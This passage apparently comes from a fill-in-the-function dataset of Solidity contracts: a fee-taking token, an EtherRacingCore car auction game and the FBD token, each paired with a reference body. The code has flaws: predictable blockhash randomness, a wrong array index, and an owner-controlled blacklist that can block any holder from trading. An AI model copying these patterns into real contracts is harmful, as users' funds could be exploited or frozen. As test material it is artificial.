(ratios.total == 0) { return; } if(_allowances[address(this)][address(dexRouter)] != type(uint256).max) { _allowances[address(this)][address(dexRouter)] = type(uint256).max; } uint256 toLiquify = ((contractTokenBalance * ratios.liquidity) / ratios.total) / 2; uint256 swapAmt = contractTokenBalance - toLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmt, 0, path, address(this), block.timestamp ); uint256 amtBalance = address(this).balance; uint256 liquidityBalance = (amtBalance * toLiquify) / swapAmt; if (toLiquify > 0) { dexRouter.addLiquidityETH{value: liquidityBalance}( address(this), toLiquify, 0, 0, _taxWallets.liquidity, block.timestamp ); emit AutoLiquify(liquidityBalance, toLiquify); } amtBalance -= liquidityBalance; ratios.total -= ratios.liquidity; uint256 marketingBalance = amtBalance; if (ratios.marketing > 0) { _taxWallets.marketing.transfer(marketingBalance); } } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { _liquidityHolders[from] = true; _hasLiqBeenAdded = true; if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } contractSwapEnabled = true; emit ContractSwapEnabledUpdated(true); } } function enableTrading() public onlyOwner { require(!tradingEnabled, "Trading already enabled!"); require(_hasLiqBeenAdded, "Liquidity must be added."); if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } try antiSnipe.setLaunch(lpPair, uint32(block.number), uint64(block.timestamp), _decimals) {} catch {} tradingEnabled = true; } function sweepContingency() external onlyOwner { require(!_hasLiqBeenAdded, "Cannot call after liquidity."); payable(owner()).transfer(address(this).balance); } function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external { require(accounts.length == amounts.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= amounts[i]); _transfer(msg.sender, accounts[i], amounts[i]*10**_decimals); } } function multiSendPercents(address[] memory accounts, uint256[] memory percents, uint256[] memory divisors) external { require(accounts.length == percents.length && percents.length == divisors.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= (_tTotal * percents[i]) / divisors[i]); _transfer(msg.sender, accounts[i], (_tTotal * percents[i]) / divisors[i]); } } function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) { if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } if (_hasLimits(from, to)) { bool checked; try antiSnipe.checkUser(from, to, amount) returns (bool check) { checked = check; } catch { revert(); } if(!checked) { revert(); } } _tOwned[from] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount; _tOwned[to] += amountReceived; emit Transfer(from, to, amountReceived); return true; } function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) { uint256 currentFee; if (lpPairs[from]) { currentFee = _taxRates.buyFee; } else if (lpPairs[to]) { if (firstBuy[from] == 0) { firstBuy[from] = block.timestamp; } if (firstBuy[from] + antiDumpTime > block.timestamp && antiDumpEnabled) { currentFee = _taxRates.antiDump; } else { currentFee = _taxRates.sellFee; } } else { currentFee = _taxRates.transferFee; } uint256 feeAmount = amount * currentFee / masterTaxDivisor; _tOwned[address(this)] += feeAmount; emit Transfer(from, address(this), feeAmount); return amount - feeAmount; } }
require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(_hasLimits(from, to)) { if(!tradingEnabled) { revert("Trading not yet enabled!"); } if(lpPairs[from] || lpPairs[to]){ if (!_isExcludedFromLimits[from] && !_isExcludedFromLimits[to]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } } if(to != address(dexRouter) && !lpPairs[to]) { if (!_isExcludedFromLimits[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize."); } } } if (firstBuy[to] == 0) { firstBuy[to] = block.timestamp; } bool takeFee = true; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){ takeFee = false; } if (lpPairs[to]) { if (!inSwap && contractSwapEnabled ) { if (lastSwap + contractSwapTimer < block.timestamp) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } contractSwap(contractTokenBalance); lastSwap = block.timestamp; } } } } return _finalizeTransfer(from, to, amount, takeFee);
function _transfer(address from, address to, uint256 amount) internal returns (bool)
function _transfer(address from, address to, uint256 amount) internal returns (bool)
10,164
EtherRacingCore
bid
contract EtherRacingCore is Ownable, Pausable { uint64 _seed = 0; function random(uint64 upper) internal returns (uint64) { _seed = uint64(keccak256(keccak256(block.blockhash(block.number), _seed), now)); return _seed % upper; } struct CarProduct { string name; uint32 basePR; // 44.4 * 100 => 4440 uint32 baseTopSpeed; // 155mph * 100 => 15500 uint32 baseAcceleration; // 2.70s * 100 => 270 uint32 baseBraking; // 99ft * 100 => 9900 uint32 baseGrip; // 1.20g * 100 => 120 // variables for auction uint256 startPrice; uint256 currentPrice; uint256 earning; uint256 createdAt; // uint32 entityCounter; bool sale; } struct CarEntity { uint32 productID; address owner; address earner; bool selling; uint256 auctionID; // Each car has unique stats. uint32 level; uint32 exp; uint64 genes; uint8[8] upgrades; // uint32 lastCashoutIndex; } struct AuctionEntity { uint32 carID; uint256 startPrice; uint256 finishPrice; uint256 startTime; uint256 duration; } // uint32 public newCarID = 1; uint32 public newCarProductID = 1; uint256 public newAuctionID = 1; bool canInit = true; mapping(uint32 => CarEntity) cars; mapping(uint32 => CarProduct) carProducts; mapping(uint256 => AuctionEntity) auctions; mapping(address => uint256) balances; event EventCashOut ( address indexed player, uint256 amount ); event EventWinReward ( address indexed player, uint256 amount ); event EventUpgradeCar ( address indexed player, uint32 carID, uint8 statID, uint8 upgradeLevel ); event EventLevelUp ( uint32 carID, uint32 level, uint32 exp ); event EventTransfer ( address indexed player, address indexed receiver, uint32 carID ); event EventTransferAction ( address indexed player, address indexed receiver, uint32 carID, uint8 actionType ); event EventAuction ( address indexed player, uint32 carID, uint256 startPrice, uint256 finishPrice, uint256 duration, uint256 createdAt ); event EventCancelAuction ( uint32 carID ); event EventBid ( address indexed player, uint32 carID ); event EventProduct ( uint32 productID, string name, uint32 basePR, uint32 baseTopSpeed, uint32 baseAcceleration, uint32 baseBraking, uint32 baseGrip, uint256 price, uint256 earning, uint256 createdAt ); event EventProductEndSale ( uint32 productID ); event EventBuyCar ( address indexed player, uint32 productID, uint32 carID ); UpgradeInterface upgradeInterface; uint256 public constant upgradePrice = 50 finney; uint256 public constant ownerCut = 500; function setUpgradeAddress(address _address) external onlyMaster { UpgradeInterface c = UpgradeInterface(_address); require(c.isUpgradeInterface()); // Set the new contract address upgradeInterface = c; } function EtherRacingCore() public { addCarProduct("ER-1", 830, 15500, 530, 11200, 90, 10 finney, 0.1 finney); addCarProduct("ER-2", 1910, 17100, 509, 10700, 95, 50 finney, 0.5 finney); addCarProduct("ER-3", 2820, 18300, 450, 10500, 100, 100 finney, 1 finney); addCarProduct("ER-4", 3020, 17700, 419, 10400, 99, 500 finney, 5 finney); addCarProduct("ER-5", 4440, 20500, 379, 10100, 99, 1000 finney, 10 finney); addCarProduct("ER-6", 4520, 22000, 350, 10400, 104, 1500 finney, 15 finney); addCarProduct("ER-7", 4560, 20500, 340, 10200, 104, 2000 finney, 20 finney); addCarProduct("ER-8", 6600, 21700, 290, 9100, 139, 2500 finney, 25 finney); } function CompleteInit() public onlyMaster { canInit = false; } function cashOut(uint256 _amount) public whenNotPaused { require(_amount >= 0); require(_amount == uint256(uint128(_amount))); require(this.balance >= _amount); require(balances[msg.sender] >= _amount); if (_amount == 0) _amount = balances[msg.sender]; balances[msg.sender] -= _amount; if (!msg.sender.send(_amount)) balances[msg.sender] += _amount; EventCashOut(msg.sender, _amount); } function cashOutCar(uint32 _carID) public whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].owner == msg.sender); uint256 _amount = getCarEarning(_carID); require(this.balance >= _amount); require(_amount > 0); var car = cars[_carID]; var lastCashoutIndex = car.lastCashoutIndex; var limitCashoutIndex = carProducts[car.productID].entityCounter; // cars[_carID].lastCashoutIndex = limitCashoutIndex; // if fail, revert. if (!car.owner.send(_amount)) cars[_carID].lastCashoutIndex = lastCashoutIndex; EventCashOut(msg.sender, _amount); } function upgradeCar(uint32 _carID, uint8 _statID) public payable whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].owner == msg.sender); require(_statID >= 0 && _statID < 8); require(cars[_statID].upgrades[_statID] < 20); require(msg.value >= upgradePrice); require(upgradeInterface != address(0)); // if (upgradeInterface.tryUpgrade(_carID, _statID)) { cars[_carID].upgrades[_statID]++; } // balances[msg.sender] += msg.value - upgradePrice; balances[Master] += upgradePrice; EventUpgradeCar(msg.sender, _carID, _statID, cars[_carID].upgrades[_statID]); } function levelUpCar(uint32 _carID, uint32 _level, uint32 _exp) public onlyMaster { require(_carID > 0 && _carID < newCarID); cars[_carID].level = _level; cars[_carID].exp = _exp; EventLevelUp(_carID, _level, _exp); } function _transfer(uint32 _carID, address _receiver) public whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].owner == msg.sender); require(msg.sender != _receiver); require(cars[_carID].selling == false); cars[_carID].owner = _receiver; cars[_carID].earner = _receiver; EventTransfer(msg.sender, _receiver, _carID); } function _transferAction(uint32 _carID, address _receiver, uint8 _ActionType) public whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].owner == msg.sender); require(msg.sender != _receiver); require(cars[_carID].selling == false); cars[_carID].owner = _receiver; EventTransferAction(msg.sender, _receiver, _carID, _ActionType); } function addAuction(uint32 _carID, uint256 _startPrice, uint256 _finishPrice, uint256 _duration) public whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].owner == msg.sender); require(cars[_carID].selling == false); require(_startPrice >= _finishPrice); require(_startPrice > 0 && _finishPrice >= 0); require(_duration > 0); require(_startPrice == uint256(uint128(_startPrice))); require(_finishPrice == uint256(uint128(_finishPrice))); auctions[newAuctionID] = AuctionEntity(_carID, _startPrice, _finishPrice, now, _duration); cars[_carID].selling = true; cars[_carID].auctionID = newAuctionID++; EventAuction(msg.sender, _carID, _startPrice, _finishPrice, _duration, now); } function bid(uint32 _carID) public payable whenNotPaused {<FILL_FUNCTION_BODY> } // Cancel auction function cancelAuction(uint32 _carID) public whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].selling == true); require(cars[_carID].owner == msg.sender); // only owner can do this. cars[_carID].selling = false; delete auctions[cars[_carID].auctionID]; cars[_carID].auctionID = 0; // EventCancelAuction(_carID); } function addCarProduct(string _name, uint32 pr, uint32 topSpeed, uint32 acceleration, uint32 braking, uint32 grip, uint256 _price, uint256 _earning) public onlyMaster { carProducts[newCarProductID++] = CarProduct(_name, pr, topSpeed, acceleration, braking, grip, _price, _price, _earning, now, 0, true); EventProduct(newCarProductID - 1, _name, pr, topSpeed, acceleration, braking, grip, _price, _earning, now); } // car sales are limited function endSaleCarProduct(uint32 _carProductID) public onlyMaster { require(_carProductID > 0 && _carProductID < newCarProductID); carProducts[_carProductID].sale = false; EventProductEndSale(_carProductID); } function addCarInit(address owner, uint32 _carProductID, uint32 level, uint32 exp, uint64 genes) public onlyMaster { require(canInit == true); require(_carProductID > 0 && _carProductID < newCarProductID); // carProducts[_carProductID].currentPrice += carProducts[_carProductID].earning; // cars[newCarID++] = CarEntity(_carProductID, owner, owner, false, 0, level, exp, genes, [0, 0, 0, 0, 0, 0, 0, 0], ++carProducts[_carProductID].entityCounter); // EventBuyCar(owner, _carProductID, newCarID - 1); } function buyCar(uint32 _carProductID) public payable { require(_carProductID > 0 && _carProductID < newCarProductID); require(carProducts[_carProductID].currentPrice > 0 && msg.value > 0); require(msg.value >= carProducts[_carProductID].currentPrice); require(carProducts[_carProductID].sale); // if (msg.value > carProducts[_carProductID].currentPrice) balances[msg.sender] += msg.value - carProducts[_carProductID].currentPrice; carProducts[_carProductID].currentPrice += carProducts[_carProductID].earning; // cars[newCarID++] = CarEntity(_carProductID, msg.sender, msg.sender, false, 0, 1, 0, random(~uint64(0)), [0, 0, 0, 0, 0, 0, 0, 0], ++carProducts[_carProductID].entityCounter); // send balance to Master balances[Master] += carProducts[_carProductID].startPrice; // EventBuyCar(msg.sender, _carProductID, newCarID - 1); } function getCarProductName(uint32 _id) public constant returns (string) { return carProducts[_id].name; } function getCarProduct(uint32 _id) public constant returns (uint32[6]) { var carProduct = carProducts[_id]; return [carProduct.basePR, carProduct.baseTopSpeed, carProduct.baseAcceleration, carProduct.baseBraking, carProduct.baseGrip, uint32(carProducts[_id].createdAt)]; } function getCarDetails(uint32 _id) public constant returns (uint64[12]) { var car = cars[_id]; return [uint64(car.productID), uint64(car.genes), uint64(car.upgrades[0]), uint64(car.upgrades[1]), uint64(car.upgrades[2]), uint64(car.upgrades[3]), uint64(car.upgrades[4]), uint64(car.upgrades[5]), uint64(car.upgrades[6]), uint64(car.upgrades[7]), uint64(car.level), uint64(car.exp) ]; } function getCarOwner(uint32 _id) public constant returns (address) { return cars[_id].owner; } function getCarSelling(uint32 _id) public constant returns (bool) { return cars[_id].selling; } function getCarAuctionID(uint32 _id) public constant returns (uint256) { return cars[_id].auctionID; } function getCarEarning(uint32 _id) public constant returns (uint256) { var car = cars[_id]; var carProduct = carProducts[car.productID]; var limitCashoutIndex = carProduct.entityCounter; // return carProduct.earning * (limitCashoutIndex - car.lastCashoutIndex); } function getCarCount() public constant returns (uint32) { return newCarID-1; } function getCarCurrentPriceAuction(uint32 _id) public constant returns (uint256) { require(getCarSelling(_id)); var car = cars[_id]; var currentAuction = auctions[car.auctionID]; uint256 currentPrice = currentAuction.startPrice - (((currentAuction.startPrice - currentAuction.finishPrice) / (currentAuction.duration)) * (now - currentAuction.startTime)); if (currentPrice < currentAuction.finishPrice) currentPrice = currentAuction.finishPrice; return currentPrice; } function getCarProductCurrentPrice(uint32 _id) public constant returns (uint256) { return carProducts[_id].currentPrice; } function getCarProductEarning(uint32 _id) public constant returns (uint256) { return carProducts[_id].earning; } function getCarProductCount() public constant returns (uint32) { return newCarProductID-1; } function getPlayerBalance(address _player) public constant returns (uint256) { return balances[_player]; } }
contract EtherRacingCore is Ownable, Pausable { uint64 _seed = 0; function random(uint64 upper) internal returns (uint64) { _seed = uint64(keccak256(keccak256(block.blockhash(block.number), _seed), now)); return _seed % upper; } struct CarProduct { string name; uint32 basePR; // 44.4 * 100 => 4440 uint32 baseTopSpeed; // 155mph * 100 => 15500 uint32 baseAcceleration; // 2.70s * 100 => 270 uint32 baseBraking; // 99ft * 100 => 9900 uint32 baseGrip; // 1.20g * 100 => 120 // variables for auction uint256 startPrice; uint256 currentPrice; uint256 earning; uint256 createdAt; // uint32 entityCounter; bool sale; } struct CarEntity { uint32 productID; address owner; address earner; bool selling; uint256 auctionID; // Each car has unique stats. uint32 level; uint32 exp; uint64 genes; uint8[8] upgrades; // uint32 lastCashoutIndex; } struct AuctionEntity { uint32 carID; uint256 startPrice; uint256 finishPrice; uint256 startTime; uint256 duration; } // uint32 public newCarID = 1; uint32 public newCarProductID = 1; uint256 public newAuctionID = 1; bool canInit = true; mapping(uint32 => CarEntity) cars; mapping(uint32 => CarProduct) carProducts; mapping(uint256 => AuctionEntity) auctions; mapping(address => uint256) balances; event EventCashOut ( address indexed player, uint256 amount ); event EventWinReward ( address indexed player, uint256 amount ); event EventUpgradeCar ( address indexed player, uint32 carID, uint8 statID, uint8 upgradeLevel ); event EventLevelUp ( uint32 carID, uint32 level, uint32 exp ); event EventTransfer ( address indexed player, address indexed receiver, uint32 carID ); event EventTransferAction ( address indexed player, address indexed receiver, uint32 carID, uint8 actionType ); event EventAuction ( address indexed player, uint32 carID, uint256 startPrice, uint256 finishPrice, uint256 duration, uint256 createdAt ); event EventCancelAuction ( uint32 carID ); event EventBid ( address indexed player, uint32 carID ); event EventProduct ( uint32 productID, string name, uint32 basePR, uint32 baseTopSpeed, uint32 baseAcceleration, uint32 baseBraking, uint32 baseGrip, uint256 price, uint256 earning, uint256 createdAt ); event EventProductEndSale ( uint32 productID ); event EventBuyCar ( address indexed player, uint32 productID, uint32 carID ); UpgradeInterface upgradeInterface; uint256 public constant upgradePrice = 50 finney; uint256 public constant ownerCut = 500; function setUpgradeAddress(address _address) external onlyMaster { UpgradeInterface c = UpgradeInterface(_address); require(c.isUpgradeInterface()); // Set the new contract address upgradeInterface = c; } function EtherRacingCore() public { addCarProduct("ER-1", 830, 15500, 530, 11200, 90, 10 finney, 0.1 finney); addCarProduct("ER-2", 1910, 17100, 509, 10700, 95, 50 finney, 0.5 finney); addCarProduct("ER-3", 2820, 18300, 450, 10500, 100, 100 finney, 1 finney); addCarProduct("ER-4", 3020, 17700, 419, 10400, 99, 500 finney, 5 finney); addCarProduct("ER-5", 4440, 20500, 379, 10100, 99, 1000 finney, 10 finney); addCarProduct("ER-6", 4520, 22000, 350, 10400, 104, 1500 finney, 15 finney); addCarProduct("ER-7", 4560, 20500, 340, 10200, 104, 2000 finney, 20 finney); addCarProduct("ER-8", 6600, 21700, 290, 9100, 139, 2500 finney, 25 finney); } function CompleteInit() public onlyMaster { canInit = false; } function cashOut(uint256 _amount) public whenNotPaused { require(_amount >= 0); require(_amount == uint256(uint128(_amount))); require(this.balance >= _amount); require(balances[msg.sender] >= _amount); if (_amount == 0) _amount = balances[msg.sender]; balances[msg.sender] -= _amount; if (!msg.sender.send(_amount)) balances[msg.sender] += _amount; EventCashOut(msg.sender, _amount); } function cashOutCar(uint32 _carID) public whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].owner == msg.sender); uint256 _amount = getCarEarning(_carID); require(this.balance >= _amount); require(_amount > 0); var car = cars[_carID]; var lastCashoutIndex = car.lastCashoutIndex; var limitCashoutIndex = carProducts[car.productID].entityCounter; // cars[_carID].lastCashoutIndex = limitCashoutIndex; // if fail, revert. if (!car.owner.send(_amount)) cars[_carID].lastCashoutIndex = lastCashoutIndex; EventCashOut(msg.sender, _amount); } function upgradeCar(uint32 _carID, uint8 _statID) public payable whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].owner == msg.sender); require(_statID >= 0 && _statID < 8); require(cars[_statID].upgrades[_statID] < 20); require(msg.value >= upgradePrice); require(upgradeInterface != address(0)); // if (upgradeInterface.tryUpgrade(_carID, _statID)) { cars[_carID].upgrades[_statID]++; } // balances[msg.sender] += msg.value - upgradePrice; balances[Master] += upgradePrice; EventUpgradeCar(msg.sender, _carID, _statID, cars[_carID].upgrades[_statID]); } function levelUpCar(uint32 _carID, uint32 _level, uint32 _exp) public onlyMaster { require(_carID > 0 && _carID < newCarID); cars[_carID].level = _level; cars[_carID].exp = _exp; EventLevelUp(_carID, _level, _exp); } function _transfer(uint32 _carID, address _receiver) public whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].owner == msg.sender); require(msg.sender != _receiver); require(cars[_carID].selling == false); cars[_carID].owner = _receiver; cars[_carID].earner = _receiver; EventTransfer(msg.sender, _receiver, _carID); } function _transferAction(uint32 _carID, address _receiver, uint8 _ActionType) public whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].owner == msg.sender); require(msg.sender != _receiver); require(cars[_carID].selling == false); cars[_carID].owner = _receiver; EventTransferAction(msg.sender, _receiver, _carID, _ActionType); } function addAuction(uint32 _carID, uint256 _startPrice, uint256 _finishPrice, uint256 _duration) public whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].owner == msg.sender); require(cars[_carID].selling == false); require(_startPrice >= _finishPrice); require(_startPrice > 0 && _finishPrice >= 0); require(_duration > 0); require(_startPrice == uint256(uint128(_startPrice))); require(_finishPrice == uint256(uint128(_finishPrice))); auctions[newAuctionID] = AuctionEntity(_carID, _startPrice, _finishPrice, now, _duration); cars[_carID].selling = true; cars[_carID].auctionID = newAuctionID++; EventAuction(msg.sender, _carID, _startPrice, _finishPrice, _duration, now); } <FILL_FUNCTION> // Cancel auction function cancelAuction(uint32 _carID) public whenNotPaused { require(_carID > 0 && _carID < newCarID); require(cars[_carID].selling == true); require(cars[_carID].owner == msg.sender); // only owner can do this. cars[_carID].selling = false; delete auctions[cars[_carID].auctionID]; cars[_carID].auctionID = 0; // EventCancelAuction(_carID); } function addCarProduct(string _name, uint32 pr, uint32 topSpeed, uint32 acceleration, uint32 braking, uint32 grip, uint256 _price, uint256 _earning) public onlyMaster { carProducts[newCarProductID++] = CarProduct(_name, pr, topSpeed, acceleration, braking, grip, _price, _price, _earning, now, 0, true); EventProduct(newCarProductID - 1, _name, pr, topSpeed, acceleration, braking, grip, _price, _earning, now); } // car sales are limited function endSaleCarProduct(uint32 _carProductID) public onlyMaster { require(_carProductID > 0 && _carProductID < newCarProductID); carProducts[_carProductID].sale = false; EventProductEndSale(_carProductID); } function addCarInit(address owner, uint32 _carProductID, uint32 level, uint32 exp, uint64 genes) public onlyMaster { require(canInit == true); require(_carProductID > 0 && _carProductID < newCarProductID); // carProducts[_carProductID].currentPrice += carProducts[_carProductID].earning; // cars[newCarID++] = CarEntity(_carProductID, owner, owner, false, 0, level, exp, genes, [0, 0, 0, 0, 0, 0, 0, 0], ++carProducts[_carProductID].entityCounter); // EventBuyCar(owner, _carProductID, newCarID - 1); } function buyCar(uint32 _carProductID) public payable { require(_carProductID > 0 && _carProductID < newCarProductID); require(carProducts[_carProductID].currentPrice > 0 && msg.value > 0); require(msg.value >= carProducts[_carProductID].currentPrice); require(carProducts[_carProductID].sale); // if (msg.value > carProducts[_carProductID].currentPrice) balances[msg.sender] += msg.value - carProducts[_carProductID].currentPrice; carProducts[_carProductID].currentPrice += carProducts[_carProductID].earning; // cars[newCarID++] = CarEntity(_carProductID, msg.sender, msg.sender, false, 0, 1, 0, random(~uint64(0)), [0, 0, 0, 0, 0, 0, 0, 0], ++carProducts[_carProductID].entityCounter); // send balance to Master balances[Master] += carProducts[_carProductID].startPrice; // EventBuyCar(msg.sender, _carProductID, newCarID - 1); } function getCarProductName(uint32 _id) public constant returns (string) { return carProducts[_id].name; } function getCarProduct(uint32 _id) public constant returns (uint32[6]) { var carProduct = carProducts[_id]; return [carProduct.basePR, carProduct.baseTopSpeed, carProduct.baseAcceleration, carProduct.baseBraking, carProduct.baseGrip, uint32(carProducts[_id].createdAt)]; } function getCarDetails(uint32 _id) public constant returns (uint64[12]) { var car = cars[_id]; return [uint64(car.productID), uint64(car.genes), uint64(car.upgrades[0]), uint64(car.upgrades[1]), uint64(car.upgrades[2]), uint64(car.upgrades[3]), uint64(car.upgrades[4]), uint64(car.upgrades[5]), uint64(car.upgrades[6]), uint64(car.upgrades[7]), uint64(car.level), uint64(car.exp) ]; } function getCarOwner(uint32 _id) public constant returns (address) { return cars[_id].owner; } function getCarSelling(uint32 _id) public constant returns (bool) { return cars[_id].selling; } function getCarAuctionID(uint32 _id) public constant returns (uint256) { return cars[_id].auctionID; } function getCarEarning(uint32 _id) public constant returns (uint256) { var car = cars[_id]; var carProduct = carProducts[car.productID]; var limitCashoutIndex = carProduct.entityCounter; // return carProduct.earning * (limitCashoutIndex - car.lastCashoutIndex); } function getCarCount() public constant returns (uint32) { return newCarID-1; } function getCarCurrentPriceAuction(uint32 _id) public constant returns (uint256) { require(getCarSelling(_id)); var car = cars[_id]; var currentAuction = auctions[car.auctionID]; uint256 currentPrice = currentAuction.startPrice - (((currentAuction.startPrice - currentAuction.finishPrice) / (currentAuction.duration)) * (now - currentAuction.startTime)); if (currentPrice < currentAuction.finishPrice) currentPrice = currentAuction.finishPrice; return currentPrice; } function getCarProductCurrentPrice(uint32 _id) public constant returns (uint256) { return carProducts[_id].currentPrice; } function getCarProductEarning(uint32 _id) public constant returns (uint256) { return carProducts[_id].earning; } function getCarProductCount() public constant returns (uint32) { return newCarProductID-1; } function getPlayerBalance(address _player) public constant returns (uint256) { return balances[_player]; } }
require(_carID > 0 && _carID < newCarID); require(cars[_carID].selling == true); // uint256 currentPrice = getCarCurrentPriceAuction(_carID); require(currentPrice >= 0); require(msg.value >= currentPrice); // uint256 marketFee = currentPrice * ownerCut / 10000; balances[cars[_carID].owner] += currentPrice - marketFee; balances[Master] += marketFee; balances[msg.sender] += msg.value - currentPrice; // cars[_carID].owner = msg.sender; cars[_carID].selling = false; delete auctions[cars[_carID].auctionID]; cars[_carID].auctionID = 0; // EventBid(msg.sender, _carID);
function bid(uint32 _carID) public payable whenNotPaused
function bid(uint32 _carID) public payable whenNotPaused
18,518
FBD
openTrading
contract FBD is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FBD_T.me/FBDtoken"; string private constant _symbol = "FBD"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 500000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 4; uint256 private _teamFee = 4; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 5; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() {<FILL_FUNCTION_BODY> } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 